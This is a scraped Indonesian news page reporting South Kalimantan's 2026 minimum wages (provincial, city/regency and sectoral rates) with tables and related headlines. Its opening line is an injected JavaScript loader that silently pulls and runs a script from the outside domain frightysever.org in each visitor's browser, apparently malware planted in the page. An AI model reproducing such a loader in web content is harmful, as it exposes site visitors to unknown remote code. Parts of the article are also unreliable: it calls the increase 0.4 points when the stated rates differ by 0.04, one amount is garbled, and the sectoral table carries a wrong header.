(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember 2025 lalu dengan kenaikan mencapai 6,54 persen. Kenaikan UMP ini lebih tinggi 0,4 persen dibandingkan UMP 2025 Kalimantan Selatan yang mengalami kenaikan 6,5 persen.
Diketahui UMP 2026 memiliki perhitungan formula yang berbeda dari UMP 2025 sebelumnya. Bila pada tahun lalu besaran kenaikan upah minimum seragam 6,5 persen, UMP 2026 di setiap daerah mengalami kenaikan yang berbeda-beda. Sehingga, kenaikan UMP Kalsel dengan Provinsi Kalimantan lainnya dapat berbeda-beda.
Mengutip dari Media Center Kalimantan Selatan, Muhidin selaku Gubernur Kalimantan Selatan secara resmi telah mengumumkan kenaikan UMP 2026 Kalimantan Selatan sebesar Rp3.725.000. Sebelumnya pada tahun 2025 lalu, UMP Kalsel sebesar Rp3.496.195.
Penetapan besaran kenaikan tersebut disebutkan oleh Muhidin sebagai komitmen pemerintah daerah untuk meningkatkan kesejahteraan pekerja serta menjaga keseimbangan iklim usaha di Kalimantan Selatan.
Muhidin menjelaskan kenaikan UMP Kalimantan Selatan merujuk PP Nomor 49 Tahun 2025 tentang Perubahan Kedua atas PP Nomor 36 Tahun 2021 mengenai Pengupahan. Setelah diresmikannya formula baru UMP 2026, seluruh Dewan Pengupahan masing-masing provinsi langsung merumuskannya.
Melalui musyawarah dan mufakat yang disepakati bersama, gubernur resmi menetapkan UMP 2026 yang akan berlaku selama 1 tahun ke depan.
Berdasarkan Surat Keputusan Gubernur Kalimantan Selatan Nomor: 100.3.3.1/01107/KUM/2025, UMK 2026 Kalimantan Selatan telah ditetapkan pada tanggal 24 Desember 2025 lalu. Terdapat 5 kabupaten/kota Kalimantan Selatan yang mengalami kenaikan UMK 2026.
| Kabupaten/Kota | UMK 2026 |
| Kota Banjarmasin | Rp.3.855,894,00 |
| Kota Banjarbaru | Rp.3.843.037,66 |
| Kabupaten Tanah Bumbu | Rp.3.736.000,00 |
| Kabupaten Kotabaru | Rp.3.904.645,00 |
| Kabupaten Tabalong | Rp.3.827.935,00 |
UMK kabupaten/kota Kalimantan Selatan lainnya diketahui mengikuti besaran kenaikan UMP 2026 Kalimantan Selatan, yakni sebesar Rp3.725.000.
UMSP atau Upah Minimum Sektoral Provinsi merupakan upah minimum terendah yang berlaku pada sektor-sektor tertentu pada tingkat provinsi. Besaran nilai USMP memang lebih tinggi dari UMP.
Begitu pula dengan UMSP Kalimantan Selatan yang ditetapkan cukup tinggi dari UMP. Sektor-sektor tersebut meliputi pertambangan, perkebunan, industri, hingga pembangkit tenaga listrik.
Mengutip dari KBR, besaran nilai UMSP dapat lebih tinggi dari UMP sebab meninjau dari karakteristik dan risiko kerja dalam sektor-sektor tersebut.
Penetapan kenaikan UMSP dilakukan oleh Dewan Pengupahan masing-masing daerah yang kemudian akan ditetapkan oleh Gubernur. Berapa besaran UMSP Kalimantan Selatan pada tahun 2026?
Mengutip dari Media Center Kalimantan Selatan, berikut adalah besaran UMSP 2026 Kalimantan Selatan.
| Kabupaten/Kota | UMK 2026 |
| Sektor pertambangan batu bara | Rp3.770.000 |
| Sektor perkebunan kelapa sawit | Rp3.730.000 |
| Sektor industri minyak kelapa sawit | Rp3.730.000 |
| Sektor perdagangan besar bahan bakar padat, cair, gas, dan EBDI | Rp3.728.000 |
| Sektor pembangkit, transmisi, dan penjualan tenaga listrik dalam satu kesatuan usaha | Rp3.759.000 |
| Sektor industri kayu lapis | Rp3.728.000 |
Bagi seluruh perusahaan tidak diperkenankan untuk menurunkan gaji pekerja yang lebih tinggi dari UMP. Berdasarkan aturan dalam PP Nomor 51 Tahun 2023, UMP hanya diterapkan bagi para pekerja baru yang belum mencapai masa kerja 1 tahun. Sehingga, pemberlakuan UMP 2026 hanya untuk pekerja baru saja. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More
KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More
KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More
KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More
This website uses cookies.